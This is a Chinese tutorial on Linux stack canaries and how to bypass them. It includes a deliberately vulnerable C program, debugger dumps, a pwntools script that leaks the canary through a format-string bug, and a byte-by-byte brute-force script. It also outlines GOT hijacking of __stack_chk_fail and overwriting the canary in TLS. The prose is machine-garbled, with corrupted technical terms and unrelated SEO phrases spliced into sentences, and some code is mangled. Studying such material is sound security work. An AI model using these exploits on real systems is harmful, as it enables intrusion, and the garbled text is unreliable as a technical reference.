Canary机制
Canary的意思是金丝雀,来始于美国煤矿工人拿来探察井下二氧化碳是否有毒的金丝雀笼子。工人们每次下井还会带上一只金丝雀。假如井下的二氧化碳有毒,金丝雀因为对毒性敏感才会停止叫唤甚至死亡,进而使工人们得到预警。
我们晓得中国linux操作系统,一般栈溢出的借助方法是通过溢出存在于栈上的局部变量,进而让多下来的数据覆盖ebp、eip等,进而达到挟持控制流的目的。栈溢出保护是一种缓冲区溢出功击减轻手段(只是减轻机制,不能彻底的制止),当函数存在缓冲区溢出功击漏洞时,功击者可以覆盖栈上的返回的址来让shellcode就能得到执行。当启用栈保护后,函数开始执行的时侯会先往栈底插入cookie信息,当函数真正返回的时侯会验证cookie信息是否合法(栈帧销毁前测试该值是否被改变),假如不合法就停止程序运行(栈溢出发生)。功击者在覆盖返回地址的时侯常常也会将cookie信息给覆盖掉,造成栈保护检测失败而制止shellcode的执行,防止漏洞借助成功。在Linux中我们将cookie信息称为Canary。
因为stackoverflow而引起的功击十分普遍也十分古老,相应地一种称作Canary的mitigation技术很早就出现在glibc里,直至如今也作为系统安全的第一道防线存在。
Canary不管是实现还是设计思想都比较简单高效,就是插入一个值在stackoverflow发生的高危区域的尾部。当函数返回之时测量Canary的值是否经过了改变,借此来判定stack/bufferoverflow是否发生。
Canary与Windows下的GS保护都是减轻栈溢出功击的有效手段,它的出现很大程度上降低了栈溢出功击的难度,但是因为它几乎并不消耗系统资源,所以如今成了Linux下保护机制的标配。
Canary原理gcc相关参数及意义
-fstack-protector 启用保护,不过只为局部变量中含有数组的函数插入保护-fstack-protector-all 启用保护,为所有函数插入保护-fstack-protector-strong-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护-fno-stack-protector 禁用保护
栈结构
开启Canary保护的stack的结构如下:
开启Canary保护的stack
Canary绕开技术低格字符串漏洞引起的Canary泄露
低格字符串漏洞的内容在这儿进行了介绍。
演示代码
下边写一个具有低格漏洞的程序testPrint.c:
开启Canary保护的stack
#include
#include
#include
#include
void vul(char *msg_orig)
{
char msg[128];
memcpy(msg,msg_orig,128);
printf(msg);
char shellcode[64];
puts("Now ,plz give me your shellcode:");
read(0,shellcode,256);
}
int main()
{
puts("So plz leave your message:");
char msg[128];
memset(msg,0,128);
read(0,msg,128);
vul(msg);
puts("Bye!");
return 0;
}
在这儿printf存在低格字符串漏洞,有机可乘呀!!!!编译:
gcc-m32-ggdb-zexecstack-fstack-protector-no-pie-opwnmetestPrint.c
参数fstack-protector代表启用保护linux内核打印调用栈,不过只为局部变量中富含字段的函数插入保护。
逆向剖析
对pwnme进行反汇编:
通过下边的汇编代码,可知Canary的值储存在gs:[0x14]的位置。gs寄存器实际指向的是当前栈的TLS结构嵌入式linux培训,fs:0x14指向的正是stack_guard。
typedef struct{ void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ...} tcbhead_t;
事实上,TLS中的值由函数security_init进行初始化,因而Canary的值是随机的。
static voidsecurity_init (void){ // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL;}//THREAD_SET_STACK_GUARD宏用于设置TLS#define THREAD_SET_STACK_GUARD(value) THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
函数开始的时侯,先把Canary的值装入栈中(ebp-0x1c),当函数结束的时侯,检测栈中的数据是否和gs:[0x14]中的值相等,倘若不相等,则说明这个值被更改过,程序会调用_stackchkfaillocal。假如相等,则正常进行退出。
0x08048536 65a114000000 mov eax, dword gs:[0x14] ; testPrint.c:7 {0x0804853c 8945e4 mov dword [var_1ch], eax. . . 0x08048598 8b45e4 mov eax, dword [var_1ch]0x0804859b 653305140000. xor eax, dword gs:[0x14]0x080485a2 7405 je 0x80485a90x080485a4 e837010000 call sym.__stack_chk_fail_local
通过前面的剖析可知,假如存在溢出可以覆盖坐落TLS中保存的Canary值这么就可以实现绕开保护机制。
漏洞剖析
在print处下断点,执行,输入aaaa,查看堆栈信息
[0xf7fd6c70]> dcu 0x08048564Continue until 0x08048564 using 1 bpsizeaaaahit breakpoint at: 8048564[0x08048564]> px @ esp- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0xffffce20 8cce ffff 0100 0000 1004 fdf7 2785 0408 ............'...0xffffce30 0000 0000 0100 0000 40d9 fff7 4ccf ffff ........@...L...0xffffce40 805d fbf7 6038 fbf7 0000 0000 00d0 fff7 .]..`8..........0xffffce50 0000 0000 30dc fff7 acce ffff a8ce ffff ....0...........0xffffce60 0100 0000 0000 0000 7939 e5f7 4b3b e5f7 ........y9..K;..0xffffce70 60b1 0408 ffff ffff 1a00 0000 787e def7 `...........x~..0xffffce80 1001 fdf7 d439 fbf7 0050 fbf7 6161 6161 .....9...P..aaaa0xffffce90 0a00 0000 0000 0000 0000 0000 0000 0000 ................0xffffcea0 0000 0000 0000 0000 0000 0000 0000 0000 ................0xffffceb0 0000 0000 0000 0000 0000 0000 0000 0000 ................0xffffcec0 0000 0000 0000 0000 0000 0000 0000 0000 ................0xffffced0 0000 0000 0000 0000 0000 0000 0000 0000 ................0xffffcee0 0000 0000 0000 0000 0000 0000 0000 0000 ................0xffffcef0 0000 0000 0000 0000 0000 0000 0000 0000 ................0xffffcf00 0000 0000 0000 0000 0000 0000 001c 7cf4 ..............|.0xffffcf10 d8cf ffff a0ad fef7 cccf ffff 00a0 0408 ................
观察aaaa在堆栈的偏斜。在0x0804859b(Canary检测)的地方下断点,输入bbbbb,查看eax的值,也就是Canary的值。
[0x08048564]> dcu 0x0804859bContinue until 0x0804859b using 1 bpsize child stopped with signal 28[+] SIGNAL 28 errno=0 addr=0x00000000 code=128 ret=0bbbbbhit breakpoint at: 804859b[0x0804859b]> dreax = 0xf47c1c00ebx = 0x0804a000ecx = 0xffffce4cedx = 0x00000100esi = 0xffffcfccedi = 0xffffcf0cesp = 0xffffce30ebp = 0xffffcf28eip = 0x0804859beflags = 0x00000286oeax = 0xffffffff
eax的值是不是有点眼熟。对的就是在printf断点的第59偏斜位置的"001c7cf4"。为何是反的?这个是体系结构的问题,这儿使用的是小端字节序。那假如我们输入'%59$x'岂不是能够获得Canary的值了吗?答案是肯定的。其中'%59$x'的意思是获得第59个偏斜的十六补码数。具体过程如下边所示:
查看输出重定向文件,可看出Canary的值被复印下来了。
注入程序
#-*- coding: UTF-8 -*- from pwn import *p = process('./pwnme')buf = '%59$x' #构建泄露Canary的格式化字符串p.recvuntil("message:n")p.sendline(buf) #发送ret_msg = p.recvuntil('n')canary = int(ret_msg,16) #接收到返回的Cannary的值 print hex(canary)
运行结果如下:
Canary的值被成功的获取,由此我们可以用这个值填充到对应的位置,绕开Canary的检测,通过shellcode执行我们想执行的代码。shellode的借助看这儿。
one-by-one爆破Canary
对于Canary,尽管每次进程重启后的Canary不同(相比GS,GS重启后是相同的),而且同一个进程中的不同线程的Canary是相同的,但是通过fork函数创建的子进程的Canary也是相同的,由于fork函数会直接拷贝父进程的显存。我们可以借助这样的特性,彻底挨个字节将Canary爆破下来。在知名的offset2libc绕开linux64bit的所有保护的文章中linux内核打印调用栈,作者就是借助这样的形式爆破得到的Canary:这是爆破的Python代码:
print "[+] Brute forcing stack canary "start = len(p)stop = len(p)+8while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "t[+] Byte found 0xx" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1)canary = p[stop:start-1:-1].encode("hex")print " [+] SSP value is 0x%s" % canary
绑架_stackchk_fail函数
已知Canary失败的处理逻辑会步入到stackchkfailed函数,stackchkfailed函数是一个普通的延后绑定函数,可以通过更改GOT表绑架这个函数。
参见ZCTF2017Login,借助方法是通过fsb漏洞篡改_stackchk_fail的GOT表,再进行ROP借助
覆盖TLS中存储的Canary值
已知Canary储存在TLS中,在函数返回前会使用这个值进行对比。当溢出规格较大时,可以同时覆盖栈上存储的Canary和TLS存储的Canary实现绕开。
公众号